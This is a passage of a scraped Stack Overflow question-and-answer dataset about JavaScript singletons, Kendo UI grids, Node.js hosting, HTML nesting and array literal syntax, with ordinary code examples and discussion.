A.getInstance(); const a3 = A.getInstance(); const b1 = B.getInstance(); const b2 = B.getInstance(); const b3 = B.getInstance(); console.log(a1.whoami()); console.log(a2.whoami()); console.log(a3.whoami()); console.log(b1.whoami()); console.log(b2.whoami()); console.log(b3.whoami()); ``` Note that `B` inherits `whoami` from `A` and that the constructor call counters are never incremented past 1. Obviously with this approach you can make no guarantee the singleton property holds for each class unless only the static constructors are used to generate instances (since the constructors are still accessible). I think it's a good compromise though.
well i don't know if it the best solution but what i did is to check if the constructor name is different then the class name. if so then i let it create a new instance because that mean i try to extend the class here is a working example of my test ```js let instanceA = null; let instanceB = null; class A { constructor(options) { this.options = options; if (instanceA === null) { instanceA = this; } if(this.constructor.name !== "A"){ return this; } return instanceA; } method1(){ console.log(this.constructor.name) } } class B extends A { constructor(options) { if (instanceB === null) { super(options) instanceB = this; } return instanceB; } } const a = new A({ i_am_a: "aaaaaa" });a const b = new B({ i_am_b: "bbbbbb" }) const c = new A({ i_am_c: "ccccc" }); const d = new B({ i_am_d: "ddddd" }) console.log(a.options) console.log(b.options) console.log(c.options) console.log(d.options) a.method1(); b.method1(); c.method1(); d.method1(); ```
52,188,364
I need to extend a singleton class in JavaScript . The problem that I am facing is that I get the class instance which I am extending from instead of only getting the methods of the class. I have tried to remove `super` to not get the instance but then I got an error > > Must call super constructor in derived class before accessing 'this' or returning from derived constructor > > > Code example: ```js let instanceA = null; let instanceB = null; class A { constructor(options) { if (instanceA === null) { this.options = options; instanceA = this; } return instanceA; } } class B extends A { constructor(options) { if (instanceB === null) { super() console.log('real class is ' + this.constructor.name) this.options = options instanceB = this; } return instanceB; } } const a = new A({ i_am_a: "aaaaaa" }); const b = new B({ i_am_b: "bbbbbb" }) // this change a console.log(b.options) console.log(a.options) ```
2018/09/05
[ "https://Stackoverflow.com/questions/52188364", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8585202/" ]
```js const instances = {} class Singleton { constructor() { const instance = instances[this.constructor]; if (instance == null) { return instances[this.constructor] = this; } return instance; } } class Foo extends Singleton { constructor() { super(); this.foo = "foo"; } } class Bar extends Singleton { constructor() { super(); this.foo = "bar"; } } const foo1 = new Foo(); const foo2 = new Foo(); const bar1 = new Bar(); const bar2 = new Bar(); console.log(foo1 === foo2, bar1 === bar2, foo1 === bar1, foo1.foo = 123, foo2, bar1); ```
well i don't know if it the best solution but what i did is to check if the constructor name is different then the class name. if so then i let it create a new instance because that mean i try to extend the class here is a working example of my test ```js let instanceA = null; let instanceB = null; class A { constructor(options) { this.options = options; if (instanceA === null) { instanceA = this; } if(this.constructor.name !== "A"){ return this; } return instanceA; } method1(){ console.log(this.constructor.name) } } class B extends A { constructor(options) { if (instanceB === null) { super(options) instanceB = this; } return instanceB; } } const a = new A({ i_am_a: "aaaaaa" });a const b = new B({ i_am_b: "bbbbbb" }) const c = new A({ i_am_c: "ccccc" }); const d = new B({ i_am_d: "ddddd" }) console.log(a.options) console.log(b.options) console.log(c.options) console.log(d.options) a.method1(); b.method1(); c.method1(); d.method1(); ```
52,188,364
I need to extend a singleton class in JavaScript . The problem that I am facing is that I get the class instance which I am extending from instead of only getting the methods of the class. I have tried to remove `super` to not get the instance but then I got an error > > Must call super constructor in derived class before accessing 'this' or returning from derived constructor > > > Code example: ```js let instanceA = null; let instanceB = null; class A { constructor(options) { if (instanceA === null) { this.options = options; instanceA = this; } return instanceA; } } class B extends A { constructor(options) { if (instanceB === null) { super() console.log('real class is ' + this.constructor.name) this.options = options instanceB = this; } return instanceB; } } const a = new A({ i_am_a: "aaaaaa" }); const b = new B({ i_am_b: "bbbbbb" }) // this change a console.log(b.options) console.log(a.options) ```
2018/09/05
[ "https://Stackoverflow.com/questions/52188364", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8585202/" ]
So, first of all there's a misconception here: > > I have tried to remove super to not get the instance but then I got an error > > > `super()` calls the parent class' **constructor** on the created instance of the child class (i.e. what `this` is referencing). It does not return a parent class instance. [See here](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/super) for more information. So, calling `super()` does not violate the singleton property of the parent class at all. It may well be only constructed a single time if implemented correctly. --- With that in mind, you should improve your code a little bit. A sensible change would be to remove the instance management from the constructors. One solution would be to use **static constructors** which either create the singleton if no instance exists or return the created instance. Another one is to drop the arguments to the singleton class constructors. It doesn't really make sense to pass arguments to a class which is supposed to be instantiated once (you're never gonna do anything with the constructor arguments again). You could just make the arguments properties of the singleton right away. Here's a [SO answer](https://stackoverflow.com/a/1051076/305949) supporting this point for Java singletons. A complete example with static constructors and without arguments looks like this: ```js let instanceA = null; let instanceB = null; let counters = { A: 0, B: 0 }; // count class instantiations class A { static getInstance() { if (instanceA === null) { instanceA = new A(); } return instanceA; } whoami() { const name = this.constructor.name; return `${name} #${counters[name]}`; } constructor() { counters[this.constructor.name] += 1; } } class B extends A { static getInstance() { if (instanceB === null) { instanceB = new B(); } return instanceB; } constructor() { super(); } } const a1 = A.getInstance(); const a2 = A.getInstance(); const a3 = A.getInstance(); const b1 = B.getInstance(); const b2 = B.getInstance(); const b3 = B.getInstance(); console.log(a1.whoami()); console.log(a2.whoami()); console.log(a3.whoami()); console.log(b1.whoami()); console.log(b2.whoami()); console.log(b3.whoami()); ``` Note that `B` inherits `whoami` from `A` and that the constructor call counters are never incremented past 1. Obviously with this approach you can make no guarantee the singleton property holds for each class unless only the static constructors are used to generate instances (since the constructors are still accessible). I think it's a good compromise though.
```js const instances = {} class Singleton { constructor() { const instance = instances[this.constructor]; if (instance == null) { return instances[this.constructor] = this; } return instance; } } class Foo extends Singleton { constructor() { super(); this.foo = "foo"; } } class Bar extends Singleton { constructor() { super(); this.foo = "bar"; } } const foo1 = new Foo(); const foo2 = new Foo(); const bar1 = new Bar(); const bar2 = new Bar(); console.log(foo1 === foo2, bar1 === bar2, foo1 === bar1, foo1.foo = 123, foo2, bar1); ```
15,611,202
How do you make a combobox with multiselect option? Using Javascript or HTML. allows you to select multiple options but does not provide a combo/dropdown structure.
2013/03/25
[ "https://Stackoverflow.com/questions/15611202", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2204075/" ]
That is not standard HTML functionality. There is either a dropdown, or a multiselect. What you can use, is a library that can handle the conversion, like <http://harvesthq.github.com/chosen/>.
What about this? ``` <select multiple> <option value="1">Jan</option> <option value="2">Feb</option> <option value="3">Mar</option> <option value="4">Apr</option> </select> ```
6,745,053
With a REST API I can receive a response in XML or in JSON. This can be done using PHP or Javascript (using jQuery) for example. I want to know the advantages and the disadvantages of the different languages. This is what I figured out so far: * PHP seems easier than JavaScript when data needs to be used on the server side for later. * JavaScript runs on the client side and does not make a load on the server when fetching data with external URLs
2011/07/19
[ "https://Stackoverflow.com/questions/6745053", "https://Stackoverflow.com", "https://Stackoverflow.com/users/148496/" ]
The Javascript call will not place a load on your server if the REST API is on an external domain (i.e. not yours). jQuery's ajax() call offers a work-around to allow you to GET data from external domains. Use PHP if: * You want to save the output from the API in your own database * You want to call the API perdioically to get updates rather than have each user call it every time they view a page that uses it. If you have thousands of pageviews a day but the data from the API only changes once a month then this would save expensive calls. * If you need to POST to the API. You can't do a POST to another domain using Javascript * You want to do some heavy analysis on the data or you want to analysis data from multiple API calls over time Use Javascript when: * The API provides up-to-the-minute data that need to be queried on each page view * You are using Ajax to update your webpages
Disregarding any other server side language, when you create your own REST API, the most common way is using **PHP for backend** and **JavaScript for the client side**. But there is also the possibility to write JavaScript at the backend ([Learning Server-Side JavaScript with Node.js](http://net.tutsplus.com/tutorials/javascript-ajax/learning-serverside-javascript-with-node-js/)). > > Javascripts run on the client side and does not make a load on the > server when fetching data with external URLs. > > > Thats only half the truth, if I understood your question right. If you need data from an external source, JavaScript will be prevented from doing so due to the **same origin policy**. But there are many possibilities to load data from some other origin like ajax proxy (using your backend as bridge) or JSONP.
31,404,375
I have this weird issue with bootstrap site. I have a block for containing some products and I wrapped its content with anchor tag. To my surprise there are some anchor tags that I did not added. I know that browsers are trying to close tags by adding elements but I cannot find any issue with my HTML. I am using bootstrap version 3. ```css .home-page-product-box { text-align: center; padding: 0 15px; } .home-page-product-box > a { /*display: block;*/ } .home-page-product-box > a > img { width: 100%; } .home-page-product-box > a > div:nth-child(2) { background: #03b6f0; color: #ffffff; font-family: Lato-Medium; border-radius: 6px; text-align: left; font-weight: 900; text-transform: uppercase; font-size: 14px; padding: 6px 14px; } .home-page-product-box > a > div:last-child { text-align: left; font-size: 12px; color: #959595; } ``` ```html <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <!-- Latest compiled and minified CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css"> <!-- Optional theme --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap-theme.min.css"> <!-- Latest compiled and minified JavaScript --> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script> <div class="container"> <div class="row"> <div class="col-xs-12"> <div class="col-xs-6 col-sm-3 home-page-product-box"> <a href="#"> <img src="https://s-media-cache-ak0.pinimg.com/236x/a3/e1/04/a3e1048687b88956cd4edbc4b38a98b2.jpg" alt=""> <div class="col-xs-12"> Power Supplies </div> <div class="col-xs-12"> Lorem ipsum dolor sit amet, consectetuer et adipiscing elit. Aenean commodo ligula eget dolor. <a href="#">View range</a> </div> </a> </div> </div> </div> </div> ``` But what I get is: ```html <div class="col-xs-6 col-sm-3 home-page-product-box"> <a href="#"> <img src="img/home-product-image1.jpg" alt=""> <div class="col-xs-12"> Power Supplies </div> </a> <div class="col-xs-12"> <a href="#"> Lorem ipsum dolor sit amet, consectetuer et adipiscing elit. Aenean commodo ligula eget dolor. </a> <a href="#">View range</a> </div> </div> ```
2015/07/14
[ "https://Stackoverflow.com/questions/31404375", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3383167/" ]
It seems that the issue is here. ```html <a href="#"> <img src="https://s-media-cache-ak0.pinimg.com/236x/a3/e1/04/a3e1048687b88956cd4edbc4b38a98b2.jpg" alt=""> <div class="col-xs-12"> Power Supplies </div> <!--- HERE I THINK --> <div class="col-xs-12"> Lorem ipsum dolor sit amet, consectetuer et adipiscing elit. Aenean commodo ligula eget dolor. <a href="#">View range</a> </div> </a> ``` You haven't closed the first link before you opened the second. It appears that broswer has made fairly logical choice to close it for you where it thinks it appropriate because *links can't contain links*.
You can't put block elements inside inline elements. This is correct: ``` <div><a></a></div> ``` This is incorrect: ``` <a><div></div></a> ``` You must to rethink your structure if you want to write a clear, correct and cross-browser code. You can replace block elements to inline and styling with css: ``` <a><span></span></a> a > span { display:block } ``` Good luck!
55,872,532
So I'm trying to design a web app that requires a good amount of data (10,000 rows). This amount, however, will grow exponentially over time. Maybe into hundreds of thousands of rows. I want to describe two methodologies of how to pull in and present the data and get recommendations on which method would be faster overall. Also, the people using the webapplication are local to the servers (very low, if any latency) The first method: * Make one call to an API which returns all 10,000 rows of data on the initial application load (pulls all the required data using 1 large stored procedure call) * Count through this data using JavaScript looping and sort it into 20 categories based on certain criteria (Also JS) * When a user clicks on one of the counts displayed, they get a page that lists all the data rows pulled that matched that particular category. (This step would be extremely fast because all rows were preloaded) Second Method: * Make an initial API call that returns only the counts for each category based on certain criteria (Counts data on sql server instead of JS) When user clicks on count, makes another API call to return only the rows and data associated with that particular category (this means a separate SP for each category) * This means, every time they click a category, a new API call will execute but the dataload will be much smaller My hangup on this - The first method requires only 1 API call, but counts all the data in JavaScript and all at once, meaning even if you don't need some of the data, it is all loaded. The second method requires multiple API calls, but counts all the data on the SQL Server and only returns the data that you need on demand. Will making a lot of separate API calls instead of 1 large API call slow things down?
2019/04/26
[ "https://Stackoverflow.com/questions/55872532", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8778930/" ]
Imho you shold go with the second option. i would not see a problem wrt to performance. Counting based on category will be fast and the next calls will be smaller as amount returned and processed by the server.
It's important to consider how many times you would need to retrieve this data in a day. If its a handful--like 500 times max--option 1 is fine. If the number of calls is significantly higher than that, option 2 would be better. You would just retrieve a subset as needed.
49,000,326
I'm just starting to learn more about the Node.js paradigm and finding it hard to grasp basic concepts. I'm familiar with front-end tools (HTML, CSS, JS) and have been using PHP with Apache server and mySQL db to deploy websites until now. It seems to be that node is it's own server, and I would then need a SaaS platform like Heroku, or AWS (I'm not even sure if i'm understanding the purpose of these) if someone could explain the difference? Is the database managed inside this service? Is the website being hosted there? In steps how would you get the node app to be served onto your domain name? For Scalability purposes I understand how having dedicated big infrastructure can help, but if building a low traffic website with small number of members is there even a point in using node? normal hosting services cost between $4-20 usd. per month and AWS or Heroku seem to start at a MUCH higher price. Is Node only to be used for large scale scaling business model? Thank you for any answers or good recent external resources (websites or books) you could point me to.
2018/02/27
[ "https://Stackoverflow.com/questions/49000326", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5614539/" ]
You could easily host a low traffic website built with node.js absolutely for free on Heroku. To see how easy that is, just go through the [Getting Started With Node.js](https://devcenter.heroku.com/articles/getting-started-with-nodejs#introduction) Heroku tutorial, in which you will do just that. When you build your website with node.js, your own code that your write is the web server. You have no separate web server to configure and interact with (such as Apache). So what you see (or code...) is exactly what you get. You will probably want to use a framework such as [Express](https://expressjs.com/) to build your web server functionality in your node.js app. As for NoSQL databases, the way to do this on Heroku is to use an appropriate "add-on" from the [Heroku Elements Marketplace](https://elements.heroku.com/). For example, you could easily add [Heroku Redis](https://elements.heroku.com/addons/heroku-redis) or [MongoLab](https://elements.heroku.com/addons/mongolab). These are just some of the NoSQL "Database as a Service" options. That means that the Database is itself hosted somewhere in the cloud, and your app simply interacts with it. You don't need to worry about database maintenance, security upgrades etc. You just need to concentrate on your app's interaction with the DB. Almost all add-ons in the Heroku Elements Marketplace feature a free-tier, that may suffice for your needs, at least initially. So you might be able to get your low-traffic website (including the DB) up and running completely for free, at least initially. One thing you will need to understand is how Heroku [free dyno hours](https://devcenter.heroku.com/articles/free-dyno-hours) work. If you need your website to be continuously available 24/7, you may need to [verify your Heroku account](https://devcenter.heroku.com/articles/account-verification) with a credit card (even though no charges would be incurred as long as you deploy only 1 [free web dyno](https://devcenter.heroku.com/articles/account-verification) and are on a free-tier plan of your NoSQL DB as a Service). For further details, see [this answer](https://stackoverflow.com/questions/40328021/how-does-heroku-billing-dynos-work-exactly/40330256#40330256). You also need to consider whether you can tolerate [dyno sleeping](https://devcenter.heroku.com/articles/free-dyno-hours#dyno-sleeping) in your low-traffic app. If not, you would need to prevent your web app from sleeping, which can also be done completely for free. For tips on how to do that see [here](https://stackoverflow.com/questions/40646858/avoid-heroku-server-from-sleeping). As for serving your Heroku node.js app website from your own domain name, see [here](https://devcenter.heroku.com/articles/custom-domains). Note that for this too you will need to verify your Heroku account with a credit card, although this too does not incur any charges.
Node.js is supported by many web hosting already, especially for those who use Plesk or cPanel as their web hosting control panel. Here is guide about how to setup a Node.js website via Plesk control, <https://www.bisend.com/blog/how-to-set-up-a-node-js-site-in-plesk>. As you said, it's very easy to host your website with a cheap shared web hosting.
46,487,416
I have a JavaScript method that opens up a kendo-window, this window contains a kendo-grid which has a datasource that I want to get from my controller. In order to get the data to fill this grid I need to pass on an ID. The JavaScript method that opens up this window contains the necessary data, however I do not know how to get this data in my kendo-grid. I need to get my ID to the `(read => read.Action("Read_Action", "ControlerName", new { linenum = ??? })` part where I want to replace the question marks with my ID. JavaScript: ``` function showDetails(e) { e.preventDefault(); var dataItem = this.dataItem($(e.currentTarget).closest("tr")); console.log(dataItem.LineNum); var wnd = $("#Details").data("kendoWindow"); wnd.center().open(); } ``` Kendo-window: ``` @{Html.Kendo().Window().Name("Details") .Title("Location Details") .Visible(false) .Modal(true) .Draggable(true) .Width(800) .Height(600) .Content( Html.Kendo().Grid<TelerikMvcApp1.Models.BinLocationItemModel>() .Name("LocItemGrid") .DataSource(dataSource => dataSource .Ajax() .Model(model => model.Id(m => m.BinLocationItemId)) .Read(read => read.Action("Read_Action", "ControlerName", new { linenum = ??? }))) .ToHtmlString()).Render(); } ```
2017/09/29
[ "https://Stackoverflow.com/questions/46487416", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5349823/" ]
You can only do this using a controller to open your window content as a partial view. Set up your controller which will render the partial view and add the id to `ViewBag` to retrieve in kendo window, ``` public ActionResult GetKendoWindow(){ ViewBag.Id = 123; return PartialView("_PartialView"); // Html file name } ``` Your ***"\_PartialView"*** file will now contain the grid only with Id assigned from `ViewBag.Id` ``` Html.Kendo().Grid<TelerikMvcApp1.Models.BinLocationItemModel>() .Name("LocItemGrid") .DataSource(dataSource => dataSource .Ajax() .Model(model => model.Id(m => m.BinLocationItemId)) .Read(read => read.Action("Read_Action", "ControlerName", new { linenum = ViewBag.Id })) ``` Your `kendo().window()` method will change to this (without the content as it'll load from the Partial View) ``` @{Html.Kendo().Window().Name("Details") .Title("Location Details") .Visible(false) .Modal(true) .Draggable(true) .Width(800) .Height(600) .LoadContentFrom("GetKendoWindow", "Controller") .ToHtmlString()).Render(); } ``` If your ID is coming from the parent page (the page you're opening the window from), you will need to pass the ID up to the controller, your `.LoadContentFrom("GetKendoWindow", "Controller")` would then become `.LoadContentFrom("GetKendoWindow?ID=123", "Controller")`. And your controller declaration would become `public ActionResult GetKendoWindow(int ID)` Edit: As you retrieve the value from JavaScript event, you would preferably want to open your window using JavaScript for simplicity, in your event put the following ``` $("#Details").kendoWindow({ width: "620px", height: "620px", title: "Window Title", content: { url: "GetKendoWindow", type: "GET", data: {ID : dataItem.ID} } }); ``` Remove your `Kendo().Window()` Razor function completely, and leave an empty div with id Details, and open the window using `$("#Details").data("kendoWindow").center().open()` Complete code for simplicity: ``` <div id="Details"></div> <script> // Your event function where you retrieve the dataItem $("#Details").kendoWindow({ width: "620px", height: "620px", title: "Window Title", content: { url: "GetKendoWindow", type: "GET", data: {ID : dataItem.ID} } }); $("#Details").data("kendoWindow").center().open() //End the event function </script> ``` Then add your controller method from above. ``` public ActionResult GetKendoWindow(int ID){ ViewBag.Id = ID; return PartialView("_PartialView"); // Html file name } ```
You could use `Kendo DataSource additional data` like this: ``` $("#grid").data("kendo-grid").dataSource.read({additional:"data"}); ``` This is working on grid demo page: <http://demos.telerik.com/kendo-ui/grid/remote-data-binding>. It adds param to the request. You could probably set the function returning additional data in dataSource - see the docs: <http://docs.telerik.com/aspnet-mvc/helpers/grid/faq#how-do-i-send-values-to-my-action-method-when-binding-the-grid>? **EDIT 1** You can achieve this simply by setting the grid's additional request data: ``` $("#grid").data("kendo-grid").dataSource.transport.options.read.data = { additional: "data"}; ``` So you open the window with kendo grid. Select the grid with typical `$(...).data("kendoGrid")`. An then set the `dataSource.transport.options.read.data` to your line id.
11,716,266
> > **Possible Duplicate:** > > [Create an empty object in JavaScript with {} or new Object()?](https://stackoverflow.com/questions/251402/create-an-empty-object-in-javascript-with-or-new-object) > > > When I want to declare a new array I use this notation ``` var arr = new Array(); ``` But when testing online, for example on jsbin, a warning signals me to "Use the array literal notation []." I didn't find a reason to avoid using the constructor. Is in some way less efficient than using `[]`? Or is it bad practice? Is there a good reason to use `var arr = [];` instead of `var arr = new Array();`?
2012/07/30
[ "https://Stackoverflow.com/questions/11716266", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1517223/" ]
`[]` is: * shorter * clearer * not subject to `new Array(3)` and `new Array(3,3)` doing completely different things * cannot be overridden. Example code: ``` var a = new Array(3); var b = new Array(3,3); Array = function () { return { length: "!" }; }; var c = new Array(); var d = []; alert(a.length); // 3 alert(b.length); // 2 alert(c.length); // ! alert(d.length);​ // (still) 0​​​​​​​​ ``` This code [live](http://jsfiddle.net/Y8nv9/1/) - will try to create 4 alerts!
The recommended practice is to use ``` var arr = []; ``` Already answered [here](https://stackoverflow.com/questions/931872/whats-the-difference-between-array-and-while-declaring-a-javascript-ar)
11,716,266
> > **Possible Duplicate:** > > [Create an empty object in JavaScript with {} or new Object()?](https://stackoverflow.com/questions/251402/create-an-empty-object-in-javascript-with-or-new-object) > > > When I want to declare a new array I use this notation ``` var arr = new Array(); ``` But when testing online, for example on jsbin, a warning signals me to "Use the array literal notation []." I didn't find a reason to avoid using the constructor. Is in some way less efficient than using `[]`? Or is it bad practice? Is there a good reason to use `var arr = [];` instead of `var arr = new Array();`?
2012/07/30
[ "https://Stackoverflow.com/questions/11716266", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1517223/" ]
Mostly, people use `var a = []` because [Douglas Crockford](http://yuiblog.com/blog/2006/11/13/javascript-we-hardly-new-ya/) says so. His reasons include the non-intuitive and inconsistent behaviour of new Array(): ``` var a = new Array(5); // an array pre-sized to 5 elements long var b = new Array(5, 10); // an array with two elements in it ``` Note that there's no way with `new Array()` to create an array with just one pre-specified number element in it! Using [ ] is actually more efficient, and safer too! It's possible to overwrite the Array constructor and make it do odd things, but you can't overwrite the behaviour of [ ]. Personally, I always use the [ ] syntax, and similarly always use { } syntax in place of new Object().
The recommended practice is to use ``` var arr = []; ``` Already answered [here](https://stackoverflow.com/questions/931872/whats-the-difference-between-array-and-while-declaring-a-javascript-ar)
11,716,266
> > **Possible Duplicate:** > > [Create an empty object in JavaScript with {} or new Object()?](https://stackoverflow.com/questions/251402/create-an-empty-object-in-javascript-with-or-new-object) > > > When I want to declare a new array I use this notation ``` var arr = new Array(); ``` But when testing online, for example on jsbin, a warning signals me to "Use the array literal notation []." I didn't find a reason to avoid using the constructor. Is in some way less efficient than using `[]`? Or is it bad practice? Is there a good reason to use `var arr = [];` instead of `var arr = new Array();`?
2012/07/30
[ "https://Stackoverflow.com/questions/11716266", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1517223/" ]
Mostly, people use `var a = []` because [Douglas Crockford](http://yuiblog.com/blog/2006/11/13/javascript-we-hardly-new-ya/) says so. His reasons include the non-intuitive and inconsistent behaviour of new Array(): ``` var a = new Array(5); // an array pre-sized to 5 elements long var b = new Array(5, 10); // an array with two elements in it ``` Note that there's no way with `new Array()` to create an array with just one pre-specified number element in it! Using [ ] is actually more efficient, and safer too! It's possible to overwrite the Array constructor and make it do odd things, but you can't overwrite the behaviour of [ ]. Personally, I always use the [ ] syntax, and similarly always use { } syntax in place of new Object().
`[]` is: * shorter * clearer * not subject to `new Array(3)` and `new Array(3,3)` doing completely different things * cannot be overridden. Example code: ``` var a = new Array(3); var b = new Array(3,3); Array = function () { return { length: "!" }; }; var c = new Array(); var d = []; alert(a.length); // 3 alert(b.length); // 2 alert(c.length); // ! alert(d.length);​ // (still) 0​​​​​​​​ ``` This code [live](http://jsfiddle.net/Y8nv9/1/) - will try to create 4 alerts!
11,716,266
> > **Possible Duplicate:** > > [Create an empty object in JavaScript with {} or new Object()?](https://stackoverflow.com/questions/251402/create-an-empty-object-in-javascript-with-or-new-object) > > > When I want to declare a new array I use this notation ``` var arr = new Array(); ``` But when testing online, for example on jsbin, a warning signals me to "Use the array literal notation []." I didn't find a reason to avoid using the constructor. Is in some way less efficient than using `[]`? Or is it bad practice? Is there a good reason to use `var arr = [];` instead of `var arr = new Array();`?
2012/07/30
[ "https://Stackoverflow.com/questions/11716266", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1517223/" ]
`[]` is: * shorter * clearer * not subject to `new Array(3)` and `new Array(3,3)` doing completely different things * cannot be overridden. Example code: ``` var a = new Array(3); var b = new Array(3,3); Array = function () { return { length: "!" }; }; var c = new Array(); var d = []; alert(a.length); // 3 alert(b.length); // 2 alert(c.length); // ! alert(d.length);​ // (still) 0​​​​​​​​ ``` This code [live](http://jsfiddle.net/Y8nv9/1/) - will try to create 4 alerts!
In javascript, you should use literal when you can. `var a = [];` instead of `var o = new Array();` `var o = {};` instead of `var o = new Object();` Similarly, don't do `new String("abc");`, `new Number(1);`, and so on.
11,716,266
> > **Possible Duplicate:** > > [Create an empty object in JavaScript with {} or new Object()?](https://stackoverflow.com/questions/251402/create-an-empty-object-in-javascript-with-or-new-object) > > > When I want to declare a new array I use this notation ``` var arr = new Array(); ``` But when testing online, for example on jsbin, a warning signals me to "Use the array literal notation []." I didn't find a reason to avoid using the constructor. Is in some way less efficient than using `[]`? Or is it bad practice? Is there a good reason to use `var arr = [];` instead of `var arr = new Array();`?
2012/07/30
[ "https://Stackoverflow.com/questions/11716266", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1517223/" ]
`[]` is: * shorter * clearer * not subject to `new Array(3)` and `new Array(3,3)` doing completely different things * cannot be overridden. Example code: ``` var a = new Array(3); var b = new Array(3,3); Array = function () { return { length: "!" }; }; var c = new Array(); var d = []; alert(a.length); // 3 alert(b.length); // 2 alert(c.length); // ! alert(d.length);​ // (still) 0​​​​​​​​ ``` This code [live](http://jsfiddle.net/Y8nv9/1/) - will try to create 4 alerts!
JavaScript is a prototypal language and not a classical language like C#. Although JavaScript does have a new operator which looks a lot like C#, you should not use it for creating new objects or arrays. ``` //Bad way to declare objects and arrays var person = new Object(), keys = new Array(); ``` The new keyword was added to the language partially to appease classical languages, but in reality it tends to confuse developers more than help them. Instead, there are native ways in JavaScript to declare objects and arrays and you should use those instead. Instead of using the previous syntax, you should instead declare your objects and arrays using their literal notation. ``` //Preferred way to declare objects and arrays var person = {}, keys = []; ``` Using this pattern you actually have a lot of expressive power using Object Literals and array initializer syntax. ``` //Preferred way to declare complex objects and arrays var person = { firstName: "Elijah", lastName: "Manor", sayFullName: function() { console.log( this.firstName + " " + this.lastName ); } }, keys = ["123", "676", "242", "4e3"]; ``` Best Practice You should declare all of your variables using their literal notation instead of using the new operation. In a similar fashion you shouldn’t use the new keyword for Boolean, Number, String, or Function. All they do is add additional bloat and slow things down. The only real reason why you would use the new keyword is if you are creating a new object and you want it to use a constructor that you defined. For more information on this topic you can check out Douglas Crockford's post entitled JavaScript, [We Hardly new Ya](http://yuiblog.com/blog/2006/11/13/javascript-we-hardly-new-ya/).
11,716,266
> > **Possible Duplicate:** > > [Create an empty object in JavaScript with {} or new Object()?](https://stackoverflow.com/questions/251402/create-an-empty-object-in-javascript-with-or-new-object) > > > When I want to declare a new array I use this notation ``` var arr = new Array(); ``` But when testing online, for example on jsbin, a warning signals me to "Use the array literal notation []." I didn't find a reason to avoid using the constructor. Is in some way less efficient than using `[]`? Or is it bad practice? Is there a good reason to use `var arr = [];` instead of `var arr = new Array();`?
2012/07/30
[ "https://Stackoverflow.com/questions/11716266", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1517223/" ]
Mostly, people use `var a = []` because [Douglas Crockford](http://yuiblog.com/blog/2006/11/13/javascript-we-hardly-new-ya/) says so. His reasons include the non-intuitive and inconsistent behaviour of new Array(): ``` var a = new Array(5); // an array pre-sized to 5 elements long var b = new Array(5, 10); // an array with two elements in it ``` Note that there's no way with `new Array()` to create an array with just one pre-specified number element in it! Using [ ] is actually more efficient, and safer too! It's possible to overwrite the Array constructor and make it do odd things, but you can't overwrite the behaviour of [ ]. Personally, I always use the [ ] syntax, and similarly always use { } syntax in place of new Object().
In javascript, you should use literal when you can. `var a = [];` instead of `var o = new Array();` `var o = {};` instead of `var o = new Object();` Similarly, don't do `new String("abc");`, `new Number(1);`, and so on.
11,716,266
> > **Possible Duplicate:** > > [Create an empty object in JavaScript with {} or new Object()?](https://stackoverflow.com/questions/251402/create-an-empty-object-in-javascript-with-or-new-object) > > > When I want to declare a new array I use this notation ``` var arr = new Array(); ``` But when testing online, for example on jsbin, a warning signals me to "Use the array literal notation []." I didn't find a reason to avoid using the constructor. Is in some way less efficient than using `[]`? Or is it bad practice? Is there a good reason to use `var arr = [];` instead of `var arr = new Array();`?
2012/07/30
[ "https://Stackoverflow.com/questions/11716266", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1517223/" ]
Mostly, people use `var a = []` because [Douglas Crockford](http://yuiblog.com/blog/2006/11/13/javascript-we-hardly-new-ya/) says so. His reasons include the non-intuitive and inconsistent behaviour of new Array(): ``` var a = new Array(5); // an array pre-sized to 5 elements long var b = new Array(5, 10); // an array with two elements in it ``` Note that there's no way with `new Array()` to create an array with just one pre-specified number element in it! Using [ ] is actually more efficient, and safer too! It's possible to overwrite the Array constructor and make it do odd things, but you can't overwrite the behaviour of [ ]. Personally, I always use the [ ] syntax, and similarly always use { } syntax in place of new Object().
JavaScript is a prototypal language and not a classical language like C#. Although JavaScript does have a new operator which looks a lot like C#, you should not use it for creating new objects or arrays. ``` //Bad way to declare objects and arrays var person = new Object(), keys = new Array(); ``` The new keyword was added to the language partially to appease classical languages, but in reality it tends to confuse developers more than help them. Instead, there are native ways in JavaScript to declare objects and arrays and you should use those instead. Instead of using the previous syntax, you should instead declare your objects and arrays using their literal notation. ``` //Preferred way to declare objects and arrays var person = {}, keys = []; ``` Using this pattern you actually have a lot of expressive power using Object Literals and array initializer syntax. ``` //Preferred way to declare complex objects and arrays var person = { firstName: "Elijah", lastName: "Manor", sayFullName: function() { console.log( this.firstName + " " + this.lastName ); } }, keys = ["123", "676", "242", "4e3"]; ``` Best Practice You should declare all of your variables using their literal notation instead of using the new operation. In a similar fashion you shouldn’t use the new keyword for Boolean, Number, String, or Function. All they do is add additional bloat and slow things down. The only real reason why you would use the new keyword is if you are creating a new object and you want it to use a constructor that you defined. For more information on this topic you can check out Douglas Crockford's post entitled JavaScript, [We Hardly new Ya](http://yuiblog.com/blog/2006/11/13/javascript-we-hardly-new-ya/).
71,772,995
